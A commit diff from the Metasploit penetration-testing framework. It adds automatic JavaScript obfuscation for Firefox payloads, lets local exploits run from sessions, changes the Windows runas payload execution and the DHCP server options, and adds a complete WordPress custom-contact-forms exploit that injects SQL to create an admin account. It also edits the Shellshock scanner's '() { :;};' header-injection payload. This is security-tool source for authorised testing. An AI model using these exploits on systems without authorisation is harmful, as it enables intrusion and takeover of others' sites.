commit
701291e029
|
@ -51,7 +51,7 @@ PATH
|
||||||
actionpack (>= 4.0.9, < 4.1.0)
|
actionpack (>= 4.0.9, < 4.1.0)
|
||||||
activesupport (>= 4.0.9, < 4.1.0)
|
activesupport (>= 4.0.9, < 4.1.0)
|
||||||
bcrypt
|
bcrypt
|
||||||
jsobfu (~> 0.1.7)
|
jsobfu (~> 0.2.0)
|
||||||
json
|
json
|
||||||
metasploit-concern
|
metasploit-concern
|
||||||
metasploit-model
|
metasploit-model
|
||||||
|
@ -136,7 +136,7 @@ GEM
|
||||||
multi_json (~> 1.3)
|
multi_json (~> 1.3)
|
||||||
hike (1.2.3)
|
hike (1.2.3)
|
||||||
i18n (0.6.11)
|
i18n (0.6.11)
|
||||||
jsobfu (0.1.7)
|
jsobfu (0.2.0)
|
||||||
rkelly-remix (= 0.0.6)
|
rkelly-remix (= 0.0.6)
|
||||||
json (1.8.1)
|
json (1.8.1)
|
||||||
mail (2.6.1)
|
mail (2.6.1)
|
||||||
|
|
|
@ -52,20 +52,23 @@ module Scriptable
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Executes the supplied script or Post module with arguments +args+
|
# Executes the supplied script, Post module, or local Exploit module with
|
||||||
|
# arguments +args+
|
||||||
#
|
#
|
||||||
# Will search the script path.
|
# Will search the script path.
|
||||||
#
|
#
|
||||||
def execute_script(script_name, *args)
|
def execute_script(script_name, *args)
|
||||||
mod = framework.modules.create(script_name)
|
mod = framework.modules.create(script_name)
|
||||||
if (mod and mod.type == "post")
|
if mod
|
||||||
# Don't report module run events here as it will be taken care of
|
# Don't report module run events here as it will be taken care of
|
||||||
# in +Post.run_simple+
|
# in +Post.run_simple+
|
||||||
opts = { 'SESSION' => self.sid }
|
opts = { 'SESSION' => self.sid }
|
||||||
args.each do |arg|
|
args.each do |arg|
|
||||||
k,v = arg.split("=", 2)
|
k,v = arg.split("=", 2)
|
||||||
opts[k] = v
|
# case doesn't matter in datastore, but it does in hashes, let's normalize
|
||||||
|
opts[k.downcase] = v
|
||||||
end
|
end
|
||||||
|
if mod.type == "post"
|
||||||
mod.run_simple(
|
mod.run_simple(
|
||||||
# Run with whatever the default stance is for now. At some
|
# Run with whatever the default stance is for now. At some
|
||||||
# point in the future, we'll probably want a way to force a
|
# point in the future, we'll probably want a way to force a
|
||||||
|
@ -75,6 +78,39 @@ module Scriptable
|
||||||
'LocalOutput' => self.user_output,
|
'LocalOutput' => self.user_output,
|
||||||
'Options' => opts
|
'Options' => opts
|
||||||
)
|
)
|
||||||
|
elsif mod.type == "exploit"
|
||||||
|
# well it must be a local, we're not currently supporting anything else
|
||||||
|
if mod.exploit_type == "local"
|
||||||
|
# get a copy of the session exploit's datastore if we can
|
||||||
|
original_exploit_datastore = self.exploit.datastore || {}
|
||||||
|
copy_of_orig_exploit_datastore = original_exploit_datastore.clone
|
||||||
|
# convert datastore opts to a hash to normalize casing issues
|
||||||
|
local_exploit_opts = {}
|
||||||
|
copy_of_orig_exploit_datastore.each do |k,v|
|
||||||
|
local_exploit_opts[k.downcase] = v
|
||||||
|
end
|
||||||
|
# we don't want to inherit a couple things, like AutoRunScript's
|
||||||
|
to_neuter = %w{AutoRunScript InitialAutoRunScript LPORT TARGET}
|
||||||
|
to_neuter.each do |setting|
|
||||||
|
local_exploit_opts.delete(setting.downcase)
|
||||||
|
end
|
||||||
|
|
||||||
|
# merge in any opts that were passed in, defaulting all other settings
|
||||||
|
# to the values from the datastore (of the exploit) that spawned the
|
||||||
|
# session
|
||||||
|
local_exploit_opts = local_exploit_opts.merge(opts)
|
||||||
|
|
||||||
|
new_session = mod.exploit_simple(
|
||||||
|
'Payload' => local_exploit_opts.delete('payload'),
|
||||||
|
'Target' => local_exploit_opts.delete('target'),
|
||||||
|
'LocalInput' => self.user_input,
|
||||||
|
'LocalOutput' => self.user_output,
|
||||||
|
'Options' => local_exploit_opts
|
||||||
|
)
|
||||||
|
|
||||||
|
end # end if local
|
||||||
|
end # end if exploit
|
||||||
|
|
||||||
else
|
else
|
||||||
full_path = self.class.find_script_path(script_name)
|
full_path = self.class.find_script_path(script_name)
|
||||||
|
|
||||||
|
@ -91,4 +127,3 @@ module Scriptable
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -20,7 +20,7 @@ module Exploit::Android
|
||||||
|
|
||||||
def add_javascript_interface_exploit_js(arch)
|
def add_javascript_interface_exploit_js(arch)
|
||||||
stagename = Rex::Text.rand_text_alpha(5)
|
stagename = Rex::Text.rand_text_alpha(5)
|
||||||
script = %Q|
|
%Q|
|
||||||
function exec(runtime, cmdArr) {
|
function exec(runtime, cmdArr) {
|
||||||
var ch = 0;
|
var ch = 0;
|
||||||
var output = '';
|
var output = '';
|
||||||
|
@ -84,9 +84,6 @@ module Exploit::Android
|
||||||
|
|
||||||
for (i in top) { if (attemptExploit(top[i]) === true) break; }
|
for (i in top) { if (attemptExploit(top[i]) === true) break; }
|
||||||
|
|
|
|
||||||
|
|
||||||
# remove comments and empty lines
|
|
||||||
script.gsub(/\/\/.*$/, '').gsub(/^\s*$/, '')
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -12,7 +12,24 @@ module Msf
|
||||||
module Exploit::DHCPServer
|
module Exploit::DHCPServer
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super
|
super(update_info(info,
|
||||||
|
'Stance' => Msf::Exploit::Stance::Passive,
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('SRVHOST', [ true, "The IP of the DHCP server" ]),
|
||||||
|
OptString.new('NETMASK', [ true, "The netmask of the local subnet" ]),
|
||||||
|
OptString.new('DHCPIPSTART', [ false, "The first IP to give out" ]),
|
||||||
|
OptString.new('DHCPIPEND', [ false, "The last IP to give out" ]),
|
||||||
|
OptString.new('ROUTER', [ false, "The router IP address" ]),
|
||||||
|
OptString.new('BROADCAST', [ false, "The broadcast address to send to" ]),
|
||||||
|
OptString.new('DNSSERVER', [ false, "The DNS server IP address" ]),
|
||||||
|
OptString.new('DOMAINNAME', [ false, "The optional domain name to assign" ]),
|
||||||
|
OptString.new('HOSTNAME', [ false, "The optional hostname to assign" ]),
|
||||||
|
OptString.new('HOSTSTART', [ false, "The optional host integer counter" ]),
|
||||||
|
OptString.new('FILENAME', [ false, "The optional filename of a tftp boot server" ])
|
||||||
|
], self.class)
|
||||||
|
|
||||||
@dhcp = nil
|
@dhcp = nil
|
||||||
end
|
end
|
||||||
|
@ -21,7 +38,7 @@ module Exploit::DHCPServer
|
||||||
@dhcp = Rex::Proto::DHCP::Server.new(hash, context)
|
@dhcp = Rex::Proto::DHCP::Server.new(hash, context)
|
||||||
print_status("Starting DHCP server") if datastore['VERBOSE']
|
print_status("Starting DHCP server") if datastore['VERBOSE']
|
||||||
@dhcp.start
|
@dhcp.start
|
||||||
add_socket(@dhcp.socket)
|
add_socket(@dhcp.sock)
|
||||||
@dhcp
|
@dhcp
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -34,4 +51,3 @@ module Exploit::DHCPServer
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -7,16 +7,24 @@
|
||||||
#
|
#
|
||||||
###
|
###
|
||||||
|
|
||||||
|
require 'msf/core/exploit/jsobfu'
|
||||||
|
|
||||||
module Msf
|
module Msf
|
||||||
module Exploit::Remote::FirefoxPrivilegeEscalation
|
module Exploit::Remote::FirefoxPrivilegeEscalation
|
||||||
|
|
||||||
|
# automatically obfuscate anything that runs through `js_exec`
|
||||||
|
include Msf::Exploit::JSObfu
|
||||||
|
|
||||||
# Sends the +js+ code to the remote session, which executes it in Firefox's
|
# Sends the +js+ code to the remote session, which executes it in Firefox's
|
||||||
# privileged javascript context
|
# privileged javascript context. The code will be obfuscated if the JsObfuscate
|
||||||
|
# datastore option is set to 1 or higher.
|
||||||
|
#
|
||||||
# @return [String] the results that were sent back. This can be achieved through
|
# @return [String] the results that were sent back. This can be achieved through
|
||||||
# calling the "send" function, or by just returning the value in +js+
|
# calling the "send" function, or by just returning the value in +js+
|
||||||
def js_exec(js, timeout=30)
|
def js_exec(js, timeout=30)
|
||||||
print_status "Running the privileged javascript..."
|
print_status "Running the privileged javascript..."
|
||||||
token = "[[#{Rex::Text.rand_text_alpha(8)}]]"
|
token = "[[#{Rex::Text.rand_text_alpha(8)}]]"
|
||||||
|
js = js_obfuscate(js)
|
||||||
session.shell_write("#{token}[JAVASCRIPT]#{js}[/JAVASCRIPT]#{token}")
|
session.shell_write("#{token}[JAVASCRIPT]#{js}[/JAVASCRIPT]#{token}")
|
||||||
session.shell_read_until_token("[!JAVASCRIPT]", 0, timeout)
|
session.shell_read_until_token("[!JAVASCRIPT]", 0, timeout)
|
||||||
end
|
end
|
||||||
|
|
|
@ -1,9 +1,13 @@
|
||||||
# -*- coding: binary -*-
|
# -*- coding: binary -*-
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
|
require 'msf/core/exploit/jsobfu'
|
||||||
require 'json'
|
require 'json'
|
||||||
|
|
||||||
module Msf::Payload::Firefox
|
module Msf::Payload::Firefox
|
||||||
|
|
||||||
|
# automatically obfuscate every Firefox payload
|
||||||
|
include Msf::Exploit::JSObfu
|
||||||
|
|
||||||
# Javascript source code of setTimeout(fn, delay)
|
# Javascript source code of setTimeout(fn, delay)
|
||||||
# @return [String] javascript source code that exposes the setTimeout(fn, delay) method
|
# @return [String] javascript source code that exposes the setTimeout(fn, delay) method
|
||||||
def set_timeout_source
|
def set_timeout_source
|
||||||
|
@ -121,14 +125,15 @@ module Msf::Payload::Firefox
|
||||||
var retVal = null;
|
var retVal = null;
|
||||||
|
|
||||||
try {
|
try {
|
||||||
retVal = Function('send', js[1])(function(r){
|
this.send = function(r){
|
||||||
if (sent) return;
|
if (sent) return;
|
||||||
sent = true;
|
sent = true;
|
||||||
if (r) {
|
if (r) {
|
||||||
if (sync) setTimeout(function(){ cb(false, r+tag+"\\n"); });
|
if (sync) setTimeout(function(){ cb(false, r+tag+"\\n"); });
|
||||||
else cb(false, r+tag+"\\n");
|
else cb(false, r+tag+"\\n");
|
||||||
}
|
}
|
||||||
});
|
};
|
||||||
|
retVal = Function(js[1]).call(this);
|
||||||
} catch (e) { retVal = e.message; }
|
} catch (e) { retVal = e.message; }
|
||||||
|
|
||||||
sync = false;
|
sync = false;
|
||||||
|
|
|
@ -4,27 +4,23 @@ require 'msf/core/exploit/powershell'
|
||||||
require 'msf/core/exploit/exe'
|
require 'msf/core/exploit/exe'
|
||||||
|
|
||||||
module Msf::Post::Windows::Runas
|
module Msf::Post::Windows::Runas
|
||||||
|
|
||||||
include Msf::Post::File
|
include Msf::Post::File
|
||||||
include Msf::Exploit::EXE
|
include Msf::Exploit::EXE
|
||||||
include Msf::Exploit::Powershell
|
include Msf::Exploit::Powershell
|
||||||
|
|
||||||
def execute_exe(filename = nil, path = nil, upload = nil)
|
def shell_execute_exe(filename = nil, path = nil)
|
||||||
payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'
|
|
||||||
payload_path = path || get_env('TEMP')
|
|
||||||
cmd_location = "#{payload_path}\\#{payload_filename}"
|
|
||||||
|
|
||||||
if upload
|
|
||||||
exe_payload = generate_payload_exe
|
exe_payload = generate_payload_exe
|
||||||
|
payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'
|
||||||
|
payload_path = path || expand_path('%TEMP%')
|
||||||
|
cmd_location = "#{payload_path}\\#{payload_filename}"
|
||||||
print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
|
print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
|
||||||
write_file(cmd_location, exe_payload)
|
write_file(cmd_location, exe_payload)
|
||||||
else
|
command, args = cmd_location, nil
|
||||||
print_status("No file uploaded, attempting to execute #{cmd_location}...")
|
shell_exec(command, args)
|
||||||
end
|
end
|
||||||
|
|
||||||
shell_exec(cmd_location, nil)
|
def shell_execute_psh
|
||||||
end
|
|
||||||
|
|
||||||
def execute_psh
|
|
||||||
powershell_command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
|
powershell_command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
|
||||||
command = 'cmd.exe'
|
command = 'cmd.exe'
|
||||||
args = "/c #{powershell_command}"
|
args = "/c #{powershell_command}"
|
||||||
|
@ -32,7 +28,10 @@ module Msf::Post::Windows::Runas
|
||||||
end
|
end
|
||||||
|
|
||||||
def shell_exec(command, args)
|
def shell_exec(command, args)
|
||||||
print_status('Executing elevated command...')
|
print_status('Executing Command!')
|
||||||
session.railgun.shell32.ShellExecuteA(nil, 'runas', command, args, nil, 'SW_SHOW')
|
session.railgun.shell32.ShellExecuteA(nil, 'runas', command, args, nil, 'SW_SHOW')
|
||||||
|
::Timeout.timeout(30) do
|
||||||
|
select(nil, nil, nil, 1) until session_created?
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -3184,7 +3184,7 @@ class Core
|
||||||
)
|
)
|
||||||
[
|
[
|
||||||
[ 'ConsoleLogging', framework.datastore['ConsoleLogging'] || "false", 'Log all console input and output' ],
|
[ 'ConsoleLogging', framework.datastore['ConsoleLogging'] || "false", 'Log all console input and output' ],
|
||||||
[ 'LogLevel', framework.datastore['LogLevel'] || "0", 'Verbosity of logs (default 0, max 5)' ],
|
[ 'LogLevel', framework.datastore['LogLevel'] || "0", 'Verbosity of logs (default 0, max 3)' ],
|
||||||
[ 'MinimumRank', framework.datastore['MinimumRank'] || "0", 'The minimum rank of exploits that will run without explicit confirmation' ],
|
[ 'MinimumRank', framework.datastore['MinimumRank'] || "0", 'The minimum rank of exploits that will run without explicit confirmation' ],
|
||||||
[ 'SessionLogging', framework.datastore['SessionLogging'] || "false", 'Log all input and output for sessions' ],
|
[ 'SessionLogging', framework.datastore['SessionLogging'] || "false", 'Log all input and output for sessions' ],
|
||||||
[ 'TimestampOutput', framework.datastore['TimestampOutput'] || "false", 'Prefix all console output with a timestamp' ],
|
[ 'TimestampOutput', framework.datastore['TimestampOutput'] || "false", 'Prefix all console output with a timestamp' ],
|
||||||
|
|
|
@ -19,8 +19,10 @@ OpDHCPServer = 0x36
|
||||||
OpLeaseTime = 0x33
|
OpLeaseTime = 0x33
|
||||||
OpSubnetMask = 1
|
OpSubnetMask = 1
|
||||||
OpRouter = 3
|
OpRouter = 3
|
||||||
|
OpDomainName = 15
|
||||||
OpDns = 6
|
OpDns = 6
|
||||||
OpHostname = 0x0c
|
OpHostname = 0x0c
|
||||||
|
OpURL = 0x72
|
||||||
OpEnd = 0xff
|
OpEnd = 0xff
|
||||||
|
|
||||||
PXEMagic = "\xF1\x00\x74\x7E"
|
PXEMagic = "\xF1\x00\x74\x7E"
|
||||||
|
|
|
@ -94,6 +94,9 @@ class Server
|
||||||
self.pxealtconfigfile = "update0"
|
self.pxealtconfigfile = "update0"
|
||||||
self.pxepathprefix = ""
|
self.pxepathprefix = ""
|
||||||
self.pxereboottime = 2000
|
self.pxereboottime = 2000
|
||||||
|
|
||||||
|
self.domain_name = hash['DOMAINNAME'] || nil
|
||||||
|
self.url = hash['URL'] if hash.include?('URL')
|
||||||
end
|
end
|
||||||
|
|
||||||
def report(&block)
|
def report(&block)
|
||||||
|
@ -126,7 +129,7 @@ class Server
|
||||||
allowed_options = [
|
allowed_options = [
|
||||||
:serveOnce, :pxealtconfigfile, :servePXE, :relayip, :leasetime, :dnsserv,
|
:serveOnce, :pxealtconfigfile, :servePXE, :relayip, :leasetime, :dnsserv,
|
||||||
:pxeconfigfile, :pxepathprefix, :pxereboottime, :router,
|
:pxeconfigfile, :pxepathprefix, :pxereboottime, :router,
|
||||||
:give_hostname, :served_hostname, :served_over, :serveOnlyPXE
|
:give_hostname, :served_hostname, :served_over, :serveOnlyPXE, :domain_name, :url
|
||||||
]
|
]
|
||||||
|
|
||||||
opts.each_pair { |k,v|
|
opts.each_pair { |k,v|
|
||||||
|
@ -151,10 +154,11 @@ class Server
|
||||||
end
|
end
|
||||||
|
|
||||||
attr_accessor :listen_host, :listen_port, :context, :leasetime, :relayip, :router, :dnsserv
|
attr_accessor :listen_host, :listen_port, :context, :leasetime, :relayip, :router, :dnsserv
|
||||||
|
attr_accessor :domain_name
|
||||||
attr_accessor :sock, :thread, :myfilename, :ipstring, :served, :serveOnce
|
attr_accessor :sock, :thread, :myfilename, :ipstring, :served, :serveOnce
|
||||||
attr_accessor :current_ip, :start_ip, :end_ip, :broadcasta, :netmaskn
|
attr_accessor :current_ip, :start_ip, :end_ip, :broadcasta, :netmaskn
|
||||||
attr_accessor :servePXE, :pxeconfigfile, :pxealtconfigfile, :pxepathprefix, :pxereboottime, :serveOnlyPXE
|
attr_accessor :servePXE, :pxeconfigfile, :pxealtconfigfile, :pxepathprefix, :pxereboottime, :serveOnlyPXE
|
||||||
attr_accessor :give_hostname, :served_hostname, :served_over, :reporter
|
attr_accessor :give_hostname, :served_hostname, :served_over, :reporter, :url
|
||||||
|
|
||||||
protected
|
protected
|
||||||
|
|
||||||
|
@ -166,7 +170,7 @@ protected
|
||||||
wds = []
|
wds = []
|
||||||
eds = [@sock]
|
eds = [@sock]
|
||||||
|
|
||||||
r,w,e = ::IO.select(rds,wds,eds,1)
|
r,_,_ = ::IO.select(rds,wds,eds,1)
|
||||||
|
|
||||||
if (r != nil and r[0] == self.sock)
|
if (r != nil and r[0] == self.sock)
|
||||||
buf,host,port = self.sock.recvfrom(65535)
|
buf,host,port = self.sock.recvfrom(65535)
|
||||||
|
@ -198,19 +202,19 @@ protected
|
||||||
end
|
end
|
||||||
|
|
||||||
# parse out the members
|
# parse out the members
|
||||||
hwtype = buf[1,1]
|
_hwtype = buf[1,1]
|
||||||
hwlen = buf[2,1].unpack("C").first
|
hwlen = buf[2,1].unpack("C").first
|
||||||
hops = buf[3,1]
|
_hops = buf[3,1]
|
||||||
txid = buf[4..7]
|
_txid = buf[4..7]
|
||||||
elapsed = buf[8..9]
|
_elapsed = buf[8..9]
|
||||||
flags = buf[10..11]
|
_flags = buf[10..11]
|
||||||
clientip = buf[12..15]
|
clientip = buf[12..15]
|
||||||
givenip = buf[16..19]
|
_givenip = buf[16..19]
|
||||||
nextip = buf[20..23]
|
_nextip = buf[20..23]
|
||||||
relayip = buf[24..27]
|
_relayip = buf[24..27]
|
||||||
clienthwaddr = buf[28..(27+hwlen)]
|
_clienthwaddr = buf[28..(27+hwlen)]
|
||||||
servhostname = buf[44..107]
|
servhostname = buf[44..107]
|
||||||
filename = buf[108..235]
|
_filename = buf[108..235]
|
||||||
magic = buf[236..239]
|
magic = buf[236..239]
|
||||||
|
|
||||||
if (magic != DHCPMagic)
|
if (magic != DHCPMagic)
|
||||||
|
@ -293,6 +297,8 @@ protected
|
||||||
pkt << dhcpoption(OpSubnetMask, self.netmaskn)
|
pkt << dhcpoption(OpSubnetMask, self.netmaskn)
|
||||||
pkt << dhcpoption(OpRouter, self.router)
|
pkt << dhcpoption(OpRouter, self.router)
|
||||||
pkt << dhcpoption(OpDns, self.dnsserv)
|
pkt << dhcpoption(OpDns, self.dnsserv)
|
||||||
|
pkt << dhcpoption(OpDomainName, self.domain_name)
|
||||||
|
|
||||||
if self.servePXE # PXE options
|
if self.servePXE # PXE options
|
||||||
pkt << dhcpoption(OpPXEMagic, PXEMagic)
|
pkt << dhcpoption(OpPXEMagic, PXEMagic)
|
||||||
# We already got this one, serve localboot file
|
# We already got this one, serve localboot file
|
||||||
|
@ -317,6 +323,7 @@ protected
|
||||||
pkt << dhcpoption(OpHostname, send_hostname)
|
pkt << dhcpoption(OpHostname, send_hostname)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
pkt << dhcpoption(OpURL, self.url) if self.url
|
||||||
pkt << dhcpoption(OpEnd)
|
pkt << dhcpoption(OpEnd)
|
||||||
|
|
||||||
pkt << ("\x00" * 32) #padding
|
pkt << ("\x00" * 32) #padding
|
||||||
|
|
|
@ -55,7 +55,7 @@ Gem::Specification.new do |spec|
|
||||||
# Needed for some admin modules (cfme_manageiq_evm_pass_reset.rb)
|
# Needed for some admin modules (cfme_manageiq_evm_pass_reset.rb)
|
||||||
spec.add_runtime_dependency 'bcrypt'
|
spec.add_runtime_dependency 'bcrypt'
|
||||||
# Needed for Javascript obfuscation
|
# Needed for Javascript obfuscation
|
||||||
spec.add_runtime_dependency 'jsobfu', '~> 0.1.7'
|
spec.add_runtime_dependency 'jsobfu', '~> 0.2.0'
|
||||||
# Needed for some admin modules (scrutinizer_add_user.rb)
|
# Needed for some admin modules (scrutinizer_add_user.rb)
|
||||||
spec.add_runtime_dependency 'json'
|
spec.add_runtime_dependency 'json'
|
||||||
# Metasploit::Concern hooks
|
# Metasploit::Concern hooks
|
||||||
|
|
|
@ -0,0 +1,115 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http//metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::HTTP::Wordpress
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'WordPress custom-contact-forms Plugin SQL Upload',
|
||||||
|
'Description' => %q{
|
||||||
|
The WordPress custom-contact-forms plugin <= 5.1.0.3 allows unauthenticated users to download
|
||||||
|
a SQL dump of the plugins database tables. It's also possible to upload files containing
|
||||||
|
sql statements which will be executed. The module first tries to extract the WordPress
|
||||||
|
table prefix from the dump and then attempts to create a new admin user.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Marc-Alexandre Montpas', # Vulnerability discovery
|
||||||
|
'Christian Mehlmauer' # Metasploit module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'URL', 'http://blog.sucuri.net/2014/08/database-takeover-in-custom-contact-forms.html' ],
|
||||||
|
[ 'URL', 'https://plugins.trac.wordpress.org/changeset?old_path=%2Fcustom-contact-forms%2Ftags%2F5.1.0.3&old=997569&new_path=%2Fcustom-contact-forms%2Ftags%2F5.1.0.4&new=997569&sfp_email=&sfph_mail=' ]
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Aug 07 2014'
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_sql(table_prefix, username, password)
|
||||||
|
# create user
|
||||||
|
sql = "INSERT INTO #{table_prefix}users (user_login, user_pass) VALUES ('#{username}','#{Rex::Text.md5(password)}');"
|
||||||
|
# make user administrator
|
||||||
|
sql << "INSERT INTO #{table_prefix}usermeta (user_id, meta_key, meta_value) VALUES ((select id from #{table_prefix}users where user_login='#{username}'),'wp_capabilities','a:1:{s:13:\"administrator\";b:1;}'),((select id from #{table_prefix}users where user_login='#{username}'),'wp_user_level','10');"
|
||||||
|
|
||||||
|
sql
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_table_prefix
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => normalize_uri(wordpress_url_backend, 'admin-post.php'),
|
||||||
|
'method' => 'POST',
|
||||||
|
'vars_post' => {
|
||||||
|
'ccf_export' => "1"
|
||||||
|
}
|
||||||
|
})
|
||||||
|
return nil if res.nil? || res.code != 302 || res.headers['Location'] !~ /\.sql$/
|
||||||
|
|
||||||
|
file = res.headers['Location']
|
||||||
|
res_file = send_request_cgi('uri' => file)
|
||||||
|
return nil if res_file.nil? || res_file.code != 200 || res_file.body.nil?
|
||||||
|
|
||||||
|
match = res_file.body.match(/insert into `(.+_)customcontactforms_fields`/i)
|
||||||
|
return nil if match.nil? || match.length < 2
|
||||||
|
|
||||||
|
table_prefix = match[1]
|
||||||
|
table_prefix
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
username = Rex::Text.rand_text_alpha(10)
|
||||||
|
password = Rex::Text.rand_text_alpha(20)
|
||||||
|
|
||||||
|
print_status("#{peer} - Trying to get table_prefix")
|
||||||
|
table_prefix = get_table_prefix
|
||||||
|
if table_prefix.nil?
|
||||||
|
print_error("#{peer} - Unable to get table_prefix")
|
||||||
|
return
|
||||||
|
else
|
||||||
|
print_status("#{peer} - got table_prefix '#{table_prefix}'")
|
||||||
|
end
|
||||||
|
|
||||||
|
data = Rex::MIME::Message.new
|
||||||
|
data.add_part(get_sql(table_prefix, username, password), 'text/plain', nil, "form-data; name=\"import_file\"; filename=\"#{Rex::Text.rand_text_alpha(5)}.sql\"")
|
||||||
|
data.add_part('1', nil, nil, 'form-data; name="ccf_merge_import"')
|
||||||
|
post_data = data.to_s
|
||||||
|
|
||||||
|
print_status("#{peer} - Inserting user #{username} with password #{password}")
|
||||||
|
uri = normalize_uri(wordpress_url_backend, 'admin-post.php')
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => uri,
|
||||||
|
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||||
|
'data' => post_data
|
||||||
|
)
|
||||||
|
|
||||||
|
if res.nil? || res.code != 302 || res.headers['Location'] != 'options-general.php?page=custom-contact-forms'
|
||||||
|
fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
|
||||||
|
end
|
||||||
|
|
||||||
|
# test login
|
||||||
|
cookie = wordpress_login(username, password)
|
||||||
|
|
||||||
|
# login successfull
|
||||||
|
if cookie
|
||||||
|
print_status("#{peer} - User #{username} with password #{password} successfully created")
|
||||||
|
report_auth_info(
|
||||||
|
sname: 'WordPress',
|
||||||
|
host: rhost,
|
||||||
|
port: rport,
|
||||||
|
user: username,
|
||||||
|
pass: password,
|
||||||
|
active: true
|
||||||
|
)
|
||||||
|
else
|
||||||
|
print_error("#{peer} - User creation failed")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -17,7 +17,7 @@ class Metasploit4 < Msf::Auxiliary
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module exploits a code injection in specially crafted environment
|
This module exploits a code injection in specially crafted environment
|
||||||
variables in Bash, specifically targeting Apache mod_cgi scripts through
|
variables in Bash, specifically targeting Apache mod_cgi scripts through
|
||||||
the HTTP_USER_AGENT variable.
|
the HTTP_USER_AGENT variable by default.
|
||||||
|
|
||||||
PROTIP: Use exploit/multi/handler with a PAYLOAD appropriate to your
|
PROTIP: Use exploit/multi/handler with a PAYLOAD appropriate to your
|
||||||
CMD, set ExitOnSession false, run -j, and then run this module to create
|
CMD, set ExitOnSession false, run -j, and then run this module to create
|
||||||
|
@ -38,8 +38,8 @@ class Metasploit4 < Msf::Auxiliary
|
||||||
|
|
||||||
register_options([
|
register_options([
|
||||||
OptString.new('TARGETURI', [true, 'Path to CGI script']),
|
OptString.new('TARGETURI', [true, 'Path to CGI script']),
|
||||||
OptEnum.new('METHOD', [true, 'HTTP method to use', 'GET',
|
OptString.new('METHOD', [true, 'HTTP method to use', 'GET']),
|
||||||
['GET', 'POST']]),
|
OptString.new('HEADER', [true, 'HTTP header to use', 'User-Agent']),
|
||||||
OptString.new('CMD', [true, 'Command to run (absolute paths required)',
|
OptString.new('CMD', [true, 'Command to run (absolute paths required)',
|
||||||
'/usr/bin/id'])
|
'/usr/bin/id'])
|
||||||
], self.class)
|
], self.class)
|
||||||
|
@ -57,10 +57,25 @@ class Metasploit4 < Msf::Auxiliary
|
||||||
:name => self.name,
|
:name => self.name,
|
||||||
:refs => self.references
|
:refs => self.references
|
||||||
)
|
)
|
||||||
Exploit::CheckCode::Vulnerable
|
return Exploit::CheckCode::Vulnerable
|
||||||
|
elsif res && res.code == 500
|
||||||
|
injected_res_code = res.code
|
||||||
else
|
else
|
||||||
Exploit::CheckCode::Safe
|
return Exploit::CheckCode::Safe
|
||||||
end
|
end
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => datastore['METHOD'],
|
||||||
|
'uri' => normalize_uri(target_uri.path.to_s)
|
||||||
|
})
|
||||||
|
|
||||||
|
if res && injected_res_code == res.code
|
||||||
|
return Exploit::CheckCode::Unknown
|
||||||
|
elsif res && injected_res_code != res.code
|
||||||
|
return Exploit::CheckCode::Appears
|
||||||
|
end
|
||||||
|
|
||||||
|
Exploit::CheckCode::Unknown
|
||||||
end
|
end
|
||||||
|
|
||||||
def run_host(ip)
|
def run_host(ip)
|
||||||
|
@ -83,7 +98,9 @@ class Metasploit4 < Msf::Auxiliary
|
||||||
send_request_cgi(
|
send_request_cgi(
|
||||||
'method' => datastore['METHOD'],
|
'method' => datastore['METHOD'],
|
||||||
'uri' => normalize_uri(target_uri.path),
|
'uri' => normalize_uri(target_uri.path),
|
||||||
'agent' => "() { :;};echo #{@marker}$(#{cmd})#{@marker}"
|
'headers' => {
|
||||||
|
datastore['HEADER'] => "() { :;};echo #{@marker}$(#{cmd})#{@marker}"
|
||||||
|
}
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,170 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http//metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::Auxiliary::Scanner
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
